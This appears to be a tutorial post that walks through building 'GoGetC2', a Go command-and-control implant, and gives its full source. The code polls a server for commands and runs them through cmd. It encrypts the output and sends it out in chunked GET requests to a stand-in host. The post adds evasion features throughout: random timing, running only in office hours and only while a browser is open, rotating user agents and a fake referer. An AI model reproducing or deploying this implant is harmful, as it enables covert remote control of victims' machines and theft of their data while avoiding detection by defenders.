GoGetC2 is now able to communicate back and forth only using GET request and encrypting data before exfiltrating it. Now let's make the C2 persistent and look more normal.
We can't create a loop to check every 2 minutes if a new command has been provided as it creates a simple pattern for every 2 minutes a GET request is sent to domain.name[.]com/command.txt.
Lets randomize the timer and only let the command run if the machine is already running chrome, edge, or firefox.
Function to check if a browser is running using github.com/mitchellh/go-ps instead of running tasklist as that could be noisy. This is a lot more stealthy as it's 100% in memory:
import ps "github.com/mitchellh/go-ps"
func isBrowserRunning() bool {
browsers := []string{"chrome.exe", "firefox.exe", "msedge.exe"}
processes, err := ps.Processes()
if err != nil {
return false
}
for _, p := range processes {
for _, b := range browsers {
if strings.EqualFold(p.Executable(), b) {
return true
}
}
}
return false
}
To randomize the time we'll code it to delay between 3 to 20 minutes each time just so our GET request don't stand out.
delay := rand.Intn(17) + 3
fmt.Printf("Sleeping %d minutes...\n", delay)
time.Sleep(time.Duration(delay) * time.Minute)
Lastly, lets randomize the UserAgent for our GET request because right now all of our requests are being sent as:
GET /GoGet/receiver.php?part=0&data=YmFzZTY0ZW5jb2RlZA== HTTP/1.1
Host: domain.name.com
User-Agent: Go-http-client/1.1
Select Random User Agent before sending GET request:
func getRandomUserAgent() string {
uas := []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Edge/124.0",
}
return uas[rand.Intn(len(uas))]
}
Final C2 code with the new changes:
package main
import (
crand "crypto/rand" // for AES IV
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io"
"io/ioutil"
"math/rand" // for jitter
"net/http"
"net/url"
"os/exec"
"strings"
"time"
ps "github.com/mitchellh/go-ps"
)
// === C2 CONFIG ===
const (
baseURL = "https://domain.name.com/GoGet/"
aesKey = "thisis32bitlongpassphraseimusing" // 32-byte AES-256 key
startHour = 8
endHour = 18
)
// === AES Encryption ===
func encryptAES(plaintext, key string) (string, error) {
block, err := aes.NewCipher([]byte(key))
if err != nil {
return "", err
}
cipherText := make([]byte, aes.BlockSize+len(plaintext))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(crand.Reader, iv); err != nil {
return "", err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))
return base64.URLEncoding.EncodeToString(cipherText), nil
}
// === Execute Shell Command ===
func executeCommand(cmd string) string {
out, err := exec.Command("cmd", "/C", cmd).CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v\n%s", err, string(out))
}
return string(out)
}
// === Fetch Command from Server ===
func fetchCommand() (string, error) {
resp, err := makeRequest(baseURL + "command.txt")
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return strings.TrimSpace(string(body)), nil
}
// === Chunk String ===
func chunkString(s string, chunkSize int) []string {
var chunks []string
for i := 0; i < len(s); i += chunkSize {
end := i + chunkSize
if end > len(s) {
end = len(s)
}
chunks = append(chunks, s[i:end])
}
return chunks
}
// === Exfiltrate in Chunks ===
func exfiltrateChunks(encrypted string) {
chunks := chunkString(encrypted, 100)
for i, chunk := range chunks {
url := fmt.Sprintf("%sreceiver.php?part=%d&data=%s", baseURL, i, url.QueryEscape(chunk))
resp, err := makeRequest(url)
if err == nil && resp != nil {
resp.Body.Close()
}
}
makeRequest(baseURL + "receiver.php?done=1")
}
// === Stealthy Browser Detection ===
func isBrowserRunning() bool {
browsers := []string{"chrome.exe", "firefox.exe", "msedge.exe"}
processes, err := ps.Processes()
if err != nil {
return false
}
for _, p := range processes {
for _, b := range browsers {
if strings.EqualFold(p.Executable(), b) {
return true
}
}
}
return false
}
// === Active Hours Check ===
func inActiveHours() bool {
h := time.Now().Hour()
return h >= startHour && h < endHour
}
// === Random User-Agent ===
func getRandomUserAgent() string {
uas := []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Edge/124.0",
}
return uas[rand.Intn(len(uas))]
}
// === Make HTTP Request with Realistic Headers ===
func makeRequest(fullURL string) (*http.Response, error) {
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
return nil, err
}
req.Header.Set("User-Agent", getRandomUserAgent())
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Referer", "https://www.google.com/")
req.Header.Set("DNT", "1")
client := &http.Client{Timeout: 10 * time.Second}
return client.Do(req)
}
// === MAIN LOOP ===
func main() {
var lastCommand string
rand.Seed(time.Now().UnixNano())
for {
if inActiveHours() && isBrowserRunning() {
cmd, err := fetchCommand()
if err == nil && cmd != "" && cmd != lastCommand {
result := executeCommand(cmd)
encrypted, err := encryptAES(result, aesKey)
if err == nil {
exfiltrateChunks(encrypted)
lastCommand = cmd
}
}
}
// Random jitter: 3 to 20 minutes
delay := rand.Intn(17) + 3
time.Sleep(time.Duration(delay) * time.Minute)
}
}
How to build C2:
go get github.com/mitchellh/go-ps